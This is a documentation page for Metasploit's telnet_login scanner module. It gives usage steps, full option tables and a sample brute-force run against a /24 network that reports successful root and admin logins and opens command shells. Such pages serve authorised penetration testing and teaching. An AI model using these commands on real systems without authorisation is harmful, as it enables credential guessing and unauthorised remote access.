Telnet Login Check Scanner - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/telnet/telnet_login metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Telnet Login Check Scanner
Module: auxiliary/scanner/telnet/telnet_login
Source code: modules/auxiliary/scanner/telnet/telnet_login.rb
Disclosure date: -
Last modification time: 2021-08-31 17:10:07 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: telnet
Target network port(s): 23
List of CVEs: CVE-1999-0502
This module will test a telnet login on a range of machines and report successful logins. If you have loaded a database plugin and connected to a database this module will record successful logins and hosts so you can track your access.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/telnet/telnet_login
msf auxiliary(telnet_login) > show options
... show and set options ...
msf auxiliary(telnet_login) > set RHOSTS ip-range
msf auxiliary(telnet_login) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(telnet_login) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(telnet_login) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(telnet_login) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Description
This module will test a telnet login with a list of provided credentials on a range of machines and report successful logins. It allows you to pass credentials in a number of ways. You can specifically set a username and password, you can pass a list of usernames and a list of passwords for it to iterate through, or you can provide a file that contains usernames and passwords separated by a space.
Verification Steps
- Do:
use auxiliary/scanner/telnet/telnet_login
- Do:
set RHOSTS [IP]
- Do:
set THREADS [NUMBER OF THREADS]
- Do:
set USER_FILE [USERNAME FILE]
- Do:
set PASS_FILE [PASSWORD FILE]
- Do:
run
Options
BLANK PASSWORD
When set to true
, it'll bruteforce with blank passwords for all users. Default value is false
.
USERNAME
Only one username to authenticate with.
PASSWORD
Only one password to authenticate with.
USERPASS_FILE
File containing username and passwords separated by space, one pair one line.
USER_FILE
File containing usernames one per line.
PASS_FILE
File containing passwords one per line.
Scenarios
In this scan we have provided list of username and passwords files separately.
msf > use use auxiliary/scanner/telnet/telnet_login
msf auxiliary(scanner/telnet/telnet_login) > set RHOSTS 1.1.1.0/24
RHOSTS => 1.1.1.0/24
msf auxiliary(scanner/telnet/telnet_login) > set THREADS 254
THREADS => 254
msf auxiliary(scanner/telnet/telnet_login) > set BLANK_PASSWORDS false
BLANK_PASSWORDS => false
msf auxiliary(scanner/telnet/telnet_login) > set USER_FILE users.txt
USER_FILE => users.txt
msf auxiliary(scanner/telnet/telnet_login) > set PASS_FILE passwords.txt
PASS_FILE => passwords.txt
msf auxiliary(scanner/telnet/telnet_login) > set VERBOSE false
VERBOSE => false
msf auxiliary(scanner/telnet/telnet_login) > run
[+] 1.1.1.116 - SUCCESSFUL LOGIN root : s00p3rs3ckret
[*] Command shell session 1 opened (1.1.1.101:50017 -> 1.1.1.116:23) at 2010-10-08 06:48:27 -0600
[+] 1.1.1.116 - SUCCESSFUL LOGIN admin : s00p3rs3ckret
[*] Command shell session 2 opened (1.1.1.101:41828 -> 1.1.1.116:23) at 2010-10-08 06:48:28 -0600
[*] Scanned 243 of 256 hosts (094% complete)
[+] 1.1.1.56 - SUCCESSFUL LOGIN msfadmin : msfadmin
[*] Command shell session 3 opened (1.1.1.101:49210 -> 1.1.1.56:23) at 2010-10-08 06:49:07 -0600
[*] Scanned 248 of 256 hosts (096% complete)
[*] Scanned 250 of 256 hosts (097% complete)
[*] Scanned 255 of 256 hosts (099% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/telnet/telnet_login) >
Go back to menu.
Msfconsole Usage
Here is how the scanner/telnet/telnet_login auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/telnet/telnet_login
msf6 auxiliary(scanner/telnet/telnet_login) > show info
Name: Telnet Login Check Scanner
Module: auxiliary/scanner/telnet/telnet_login
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
egypt <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 23 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
Description:
This module will test a telnet login on a range of machines and
report successful logins. If you have loaded a database plugin and
connected to a database this module will record successful logins
and hosts so you can track your access.
References:
https://nvd.nist.gov/vuln/detail/CVE-1999-0502
Module Options
This is a complete list of options available in the scanner/telnet/telnet_login auxiliary module:
msf6 auxiliary(scanner/telnet/telnet_login) > show options
Module options (auxiliary/scanner/telnet/telnet_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 23 yes The target port (TCP)
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
Advanced Options
Here is a complete list of advanced options supported by the scanner/telnet/telnet_login auxiliary module:
msf6 auxiliary(scanner/telnet/telnet_login) > show advanced
Module advanced options (auxiliary/scanner/telnet/telnet_login):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CHOST no The local client address
CPORT no The local client port
CommandShellCleanupCommand no A command to run before the session is closed
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MaxGuessesPerService 0 no Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
MaxGuessesPerUser 0 no Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22 is different from one at 10.
2.2.2:22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be used.
MaxMinutesPerService 0 no Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
REMOVE_PASS_FILE false yes Automatically delete the PASS_FILE on module completion
REMOVE_USERPASS_FILE false yes Automatically delete the USERPASS_FILE on module completion
REMOVE_USER_FILE false yes Automatically delete the USER_FILE on module completion
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
TIMEOUT 25 yes Default timeout for telnet connections.
TRANSITION_DELAY 0 no Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)
TelnetBannerTimeout 25 yes The number of seconds to wait for the initial banner
TelnetTimeout 10 yes The number of seconds to wait for a reply from a Telnet command
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/telnet/telnet_login module can do:
msf6 auxiliary(scanner/telnet/telnet_login) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/telnet/telnet_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/telnet/telnet_login) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<IP>:<RPORT> - LOGIN FAILED: <RESULT.CREDENTIAL> (<RESULT.STATUS>: <RESULT.PROOF>)
Here is a relevant code snippet related to the "<IP>:<RPORT> - LOGIN FAILED: <RESULT.CREDENTIAL> (<RESULT.STATUS>: <RESULT.PROOF>)" error message:
86: create_credential_login(credential_data)
87: print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
88: start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner) if datastore['CreateSession']
89: else
90: invalidate_login(credential_data)
91: vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
92: disconnect(scanner.sock)
93: end
94: end
95: end
96:
Go back to menu.
Related Pull Requests
- #12022 Merged Pull Request: Deregister PASSWORD_SPRAY option for LoginScanner modules
- #11523 Merged Pull Request: MSF5: Remove unneeded RHOST deregister in scanners
- #11103 Merged Pull Request: Add CreateSession option to opt out of session creation in login modules
- #9300 Merged Pull Request: Add private data type to auxiliary scanner ftp_login and telnet_login
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6014 Merged Pull Request: Related to #4803, Update LoginScanner modules to have into account TCP advanced options
- #5861 Merged Pull Request: Fix #5814 Mod telnet_login to disconnect the scanner socket when login fails
- #4737 Merged Pull Request: Preserve Context in LoginScanner socket calls, fixes #4723
- #4364 Merged Pull Request: Modules should respect bruteforce_speed again
- #4057 Merged Pull Request: Re-eneable tcp evasions in some LoginScanners
- #3999 Merged Pull Request: Fix #3995 - Make negative messages less verbose for LoginScanner modules
- #3746 Merged Pull Request: Feature/msp 11162/db all creds
- #2525 Merged Pull Request: Change module boilerplate
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/telnet/brocade_enable_login
- auxiliary/scanner/db2/db2_auth
- auxiliary/scanner/http/dell_idrac
- auxiliary/scanner/http/dlink_dir_300_615_http_login
- auxiliary/scanner/http/dlink_dir_615h_http_login
- auxiliary/scanner/http/dlink_dir_session_cgi_http_login
- auxiliary/scanner/ftp/ftp_login
- auxiliary/scanner/http/http_login
- auxiliary/scanner/http/joomla_bruteforce_login
- auxiliary/scanner/mysql/mysql_login
- auxiliary/scanner/nntp/nntp_login
- auxiliary/scanner/oracle/oracle_login
- auxiliary/scanner/pcanywhere/pcanywhere_login
- auxiliary/scanner/postgres/postgres_login
- auxiliary/scanner/rservices/rexec_login
- auxiliary/scanner/rservices/rlogin_login
- auxiliary/scanner/rservices/rsh_login
- exploit/multi/ssh/sshexec
- auxiliary/scanner/ssh/ssh_login
- auxiliary/scanner/http/tomcat_mgr_login
- auxiliary/scanner/vmware/vmauthd_login
- auxiliary/scanner/vmware/vmware_http_login
- auxiliary/scanner/winrm/winrm_login
- auxiliary/scanner/http/wordpress_xmlrpc_login
- auxiliary/scanner/telnet/telnet_encrypt_overflow
- auxiliary/scanner/telnet/telnet_ruggedcom
- auxiliary/scanner/telnet/telnet_version
- auxiliary/scanner/telnet/lantronix_telnet_password
- auxiliary/scanner/telnet/lantronix_telnet_version
- auxiliary/scanner/telnet/satel_cmd_exec
- exploit/freebsd/telnet/telnet_encrypt_keyid
- exploit/linux/telnet/telnet_encrypt_keyid
- auxiliary/dos/cisco/ios_telnet_rocem
- auxiliary/server/capture/telnet
Related Nessus plugins:
- MPEi/X Default FTP Accounts
- Netscape Enterprise Default Administrative Password
- Unpassworded 'guest' Account
- Unpassworded 'EZsetup' Account
- Unpassworded 'demos' Account
- Unpassworded '4Dgifts' Account
- Unpassworded 'OutOfBox' Account
- Unpassworded 'root' Account
- Unpassworded 'lp' Account
- Unpassworded 'sync' Account
Authors
egypt
Version
This page has been produced using Metasploit Framework version 6.1.29-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.